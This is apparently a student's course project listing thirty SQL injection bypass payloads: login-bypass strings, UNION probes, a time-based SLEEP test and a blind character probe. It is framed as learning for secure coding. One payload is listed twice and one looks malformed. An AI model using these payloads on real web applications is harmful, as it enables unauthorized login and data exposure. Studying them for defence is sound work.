

NAME : Shrishti Vishwakarma

CLASS : BVOC (First year) Sem 2

TITLE : Top 30 SQL Injection Bypass  
Techniques

INSTRUCTOR : Shubham sir

## ***TABLE OF CONTENT***

---

- 1.Introduction
2. Objective
3. Tools Used
4. List of Bypass Techniques
5. Output
6. Conclusion

## ***INTRODUCTION***

---

This project introduces 30 commonly used SQL injection (SQLi) bypass techniques. SQL injection is one of the most dangerous vulnerabilities in web applications, and learning about bypasses helps ethical hackers and security professionals understand how attackers evade security filters and manipulate databases.

## ***OBJECTIVE***

---

- To understand how SQL injection attacks are performed
- To study commonly used SQLi bypass payloads
- To enhance awareness about input sanitization and secure coding

## ***TOOLS USED***

---

1. Kali Linux Terminal
2. Web browser

## ***LIST OF BYPASS TECHNIQUES***

---

1. ' OR '1'='1
2. admin' --
3. admin' #
4. admin'/\*
5. ' OR 1=1 -- -
6. ' OR '1'='1' --
7. ' OR '1'='1' /\*
8. ') OR ('1'='1
9. ' OR 1=1--
10. ' OR 1=1#
11. ' OR 1=1/\*
12. ') OR ('1'='1' --
13. ') OR ('1'='1' #
14. ' OR 1=1 LIMIT 1 OFFSET 1 --
15. ' OR 1=1 ORDER BY 1 --
16. ' OR SLEEP(5) --

17. ' UNION SELECT NULL, NULL --
18. ' UNION SELECT 1,2,3 --
19. ' OR EXISTS(SELECT \* FROM users) --
20. ' HAVING 1=1 --
21. ' AND 1=0 UNION SELECT 1,2,3 --
22. ' OR " = '
23. ' OR 0=0 --
24. ' OR 0=0 #
25. ' OR 0=0 /\*
26. ' OR 1=1 LIMIT 1 OFFSET 1 --
27. ' OR ASCII(SUBSTRING(user(),1,1))=114 --
28. ' OR 1 GROUP BY CONCAT(username, password)  
--
29. admin')--
30. 1' OR 1=1 LIMIT 1 --

## *OUTPUT*

---

Each of these techniques attempts to bypass login forms or manipulate database queries. When successful, they may grant unauthorized access or expose sensitive data. Testing these on a vulnerable system reveals how poorly sanitized inputs can be exploited.

## *CONCLUSION*

---

This project highlights the importance of strong input validation and the need for secure coding practices. Understanding these bypass techniques allows developers and cybersecurity professionals to build more secure applications and defend against SQL injection attacks.